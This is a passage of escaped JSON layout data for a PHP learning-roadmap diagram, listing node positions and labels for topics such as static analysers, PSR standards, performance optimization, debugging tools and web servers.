true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"12k71gNfwAcT9K5aLWgbZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.2233988247604,\n        \"y\": 2859.456645871666\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHPStan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JEa4aT95Uyfa5lp2MSa3r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.2233988247604,\n        \"y\": 2859.456645871666\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B45YVzov8X_iOtneiFEqa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1165.193892614335,\n        \"y\": 2912.4566458716663\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Phan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1165.193892614335,\n        \"y\": 2912.4566458716663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T1XD93j6Lkpl88JSmys9b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1071.193892614335,\n        \"y\": 2912.4566458716663\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Psalm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1071.193892614335,\n        \"y\": 2912.4566458716663\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_3kirB7iU8ZHdwu3C6X3T\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 783.668796508003,\n        \"y\": 2765.559012420851\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"External Integrations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 783.668796508003,\n        \"y\": 2765.559012420851\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KC6D81-T-FwQc7Osw1rlY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 782.8163275601296,\n        \"y\": 2805.6288664025246\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"cURL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 782.8163275601296,\n        \"y\": 2805.6288664025246\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Al4NXKVQAnk8OikwvXCL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 862.8163275601296,\n        \"y\": 2805.6288664025246\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Guzzle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 862.8163275601296,\n        \"y\": 2805.6288664025246\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SD9k16UlVve9WtNMDA5Za\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 483.05794812125305,\n        \"y\": 2754.164794921875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHP-FIG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.05794812125305,\n        \"y\": 2754.164794921875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3tONibbRgK7HCwGTE2Gqw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.05794812125305,\n        \"y\": 2663.5778818678305\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PSR Standards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JWFDtOx5U7A6qD1EoNcEz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.05794812125305,\n        \"y\": 2663.5778818678305\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wovWgSJsUDWgAuqWE45wv\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1429.3239413874203,\n        \"y\": 2696.870465591149\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 61,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 61\n      },\n      \"positionAbsolute\": {\n        \"x\": 1429.3239413874203,\n        \"y\": 2696.870465591149\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"H3zHxetW5HPKp-31GFOnR\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1431.8239413874203,\n        \"y\": 2803.164794921875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 1431.8239413874203,\n        \"y\": 2803.164794921875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"wIaG8FvXY1l89Vmc2Rj-e\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 972.2233988247604,\n        \"y\": 2770.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 972.2233988247604,\n        \"y\": 2770.5\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"YCo5bnHpjGFfH9xCAgRJh\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 641.668796508003,\n        \"y\": 2770.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"wIaG8FvXY1l89Vmc2Rj-e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 641.668796508003,\n        \"y\": 2770.5\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"okaY9JLgjz8JRaVAgz9Dr\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 437.05794812125305,\n        \"y\": 2881.338492722126\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced PHP Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"BOWGF4ovKzGC_3MFQET9p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 47\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 437.05794812125305,\n        \"y\": 2881.338492722126\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"z1IO3hBgTht06oJutACrV\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 456.87747700920465,\n        \"y\": 3336.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Optimization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 456.87747700920465,\n        \"y\": 3336.1243840820907\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"_Dh78x_tPLqZweg--qZFQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3009.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Profiling Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3009.1243840820907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Av-BMa57RvrLlAXLffOH0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3062.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Caching Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3062.1243840820907\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bt7dK2PcOZ72B9HXPyMwL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3115.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3115.1243840820907\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VpwwF8j5ZtXVSbzNfE7Sx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3168.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Configuration Tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3168.1243840820907\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NieqZd1juaNYoZOrB7e31\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3221.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Opcode Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3221.1243840820907\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VhyYNGhOdKKrz_-uTkrjD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3010.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Executing System Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3010.580124766453\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NTKUMgsKGYISIyhgOJPQn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3063.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Process Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3063.580124766453\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fitjnLYKLHJ2P5G7JAvzm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3116.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Environment Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3116.580124766453\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"DTaAZaU1CwzW7esoDhj85\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3170.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Configuration Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 742.4180934525762,\n        \"y\": 3170.580124766453\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qp5Xi12c0qcSzTanzJq0Z\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 798.9180934525762,\n        \"y\": 3230.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Interactions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 798.9180934525762,\n        \"y\": 3230.580124766453\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"VqqfBbME7nkMk7SeK4kxQ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 682.5613249380067,\n        \"y\": 3025.580124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 52,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 52,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 682.5613249380067,\n        \"y\": 3025.580124766453\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 52,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"bnNgbziFgsgr0HtGkVTYW\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1032.372216437397,\n        \"y\": 3023.6243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"xz_XU3RNTleqzeG8jiL1j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1032.372216437397,\n        \"y\": 3023.6243840820907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"KcavBCDfV-jrLoq33oGd5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1206.3762749805198,\n        \"y\": 3130.512902256284\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Debugging Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1206.3762749805198,\n        \"y\": 3130.512902256284\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"lFoHoMRywCWa056ii5cKQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3015.512902256284\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Xdebug\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 51\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3015.512902256284\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"KpQb5Zh3GUcbYUyXHvyu2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3070.512902256284\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Zend Debugger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3070.512902256284\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0sSCn2V5p-m5zuE8ubCx_\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1186.8762749805198,\n        \"y\": 3242.5269640131846\n      },\n      \"width\": 184,\n      \"height\": 166,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 166\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"33xDnONCKXab3GnA_QgR0\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 1186.8762749805198,\n        \"y\": 3242.5269640131846\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"nwsvebWwCbfmy2ks1q6Kh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1221.3762749805198,\n        \"y\": 3365.5269640131846\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Web Servers\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"KcavBCDfV-jrLoq33oGd5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1221.3762749805198,\n        \"y\": 3365.5269640131846\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KMQqePqAjQ-ReDwHqeofx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3250.5269640131846\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Apache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lFoHoMRywCWa056ii5cKQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 51\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3250.5269640131846\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"aspZpACHEKOsi_Er5FYPY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3305.5269640131846\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nginx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KpQb5Zh3GUcbYUyXHvyu2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1194.8762749805198,\n        \"y\": 3305.5269640131846\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xz_XU3RNTleqzeG8jiL1j\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1370.8373057946285,\n        \"y\": 3025.080124766453\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"VqqfBbME7nkMk7SeK4kxQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1370.8373057946285,\n        \"y\": 3025.080124766453\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"szbK3mnYAi7WHyZpDRDTZ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1465.6842719582237,\n        \"y\": 3033.6243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"H3zHxetW5HPKp-31GFOnR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 311,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 311\n      },\n      \"positionAbsolute\": {\n        \"x\": 1465.6842719582237,\n        \"y\": 3033.6243840820907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 311\n      }\n    },\n    {\n      \"id\": \"7uTIanigHQopkfWfPnDzb\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1368.8373057946285,\n        \"y\": 3334.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"WobnwQysg22KeqQUfFq3c\"\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1368.8373057946285,\n        \"y\": 3334.1243840820907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"AoGS-5MSkp8gtJFQVPSBE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 453.87747700920465,\n        \"y\": 3274.1243840820907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": 